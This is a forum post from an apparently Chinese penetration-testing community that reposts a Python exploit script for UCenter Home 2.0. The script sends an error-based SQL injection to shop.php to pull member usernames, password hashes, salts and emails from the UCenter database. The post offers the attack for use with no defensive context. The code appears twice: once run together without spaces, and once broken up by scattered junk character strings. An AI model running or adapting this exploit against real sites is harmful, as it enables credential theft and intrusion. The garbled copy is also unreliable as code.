中国网络渗透测试联盟
标题:
UCenter Home 2.0 EXP
[打印本页]
作者:
admin
时间:
2013-1-23 09:18
标题:
UCenter Home 2.0 EXP
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:
http://www.exploit-db.com/exploits/14997/'
print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
; q7 f& d B" i* z
& a0 ~( ~. E, @3 y/ ]# Q
& e) y4 x+ O4 Z
#!/usr/bin/env python
2 j0 |6 }; |# P' c% d3 Y5 R3 z
( I* X+ |7 B% R$ g$ E
import sys
6 w6 [+ u# V K' V
import urllib2
+ ~% Q9 U* \' [
import re
+ c8 J# w( A; X+ X( D
& v2 I* i* I" ]
def info():
# Z# v. p b2 `
print 'From:
http://www.exploit-db.com/exploits/14997/'
: B% r' u. I4 w9 Z: p8 y
print 'http://www.hake.cc/Web_loudong/'
2 c7 s b% t! j$ U) p8 `
print 'changed:qiaoy'
4 S3 }, I- ^% C
print 'exp:'
* n5 L( D. M, f h3 f% ]! E9 B8 K
print ' ./UCenter_Home_2.0.py site'
6 n M3 E, O" W% s! m0 ~4 p" K
9 b+ d, n7 y6 g9 ]/ s. |: [& m
def main():
- v+ a5 j+ N7 u. R G" V( C/ k
if len(sys.argv) != 2:
. Y1 \; Z/ E! ~6 _! p2 m
info()
& S8 I: ?9 D# Q( ]
else:
9 J6 B2 p' \% y9 w
site = sys.argv[1]
5 K0 b4 I- {2 ^" T' j* D5 y
if site[0:7] == 'http://':
3 w+ i# S- B' y, h
sitesite =site
! W3 o- P/ k. w `% x9 E
elif site[0:8] == 'https://':
. @( q5 V7 b3 Y% D8 n
sitesite = site
1 X5 E0 F2 X7 E
else:
) F- H0 J2 f! u8 \: i W
site = 'http://'+site
2 A( X/ h) O3 _
try:
# @4 k' P! p, m7 L+ V2 b& D, W
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
7 {- s0 g1 G6 u$ a3 t5 P
Value = urllib2.urlopen(url).read()
0 k& j6 A/ \" B8 t
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
7 @. |2 Q8 K) A( q7 m+ W! O
hacked = Msg.split(':')
: _) M Q* G4 R: }; d1 \
print 'Name: '+hacked[1]
9 ?$ o" {$ E7 }
print 'Passwd: '+hacked[2]
+ s. v+ n: W6 |" ]6 ]4 J
print 'salt: '+hacked[3]
$ X6 ?( w+ @0 S0 j% V3 ~% L: T4 c
print 'email: '+hacked[4]
! X* J9 M3 p( J( m
except:
5 f7 u! n7 a- i
print 'Sorry,I can\'t work............'
; A; o5 l" `+ Z$ c' v0 N; \ x& e
5 j4 a* a: M- l0 I/ _5 m
if __name__ == '__main__':
( i, D7 l+ ~$ f* ?! _ Q
main()
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2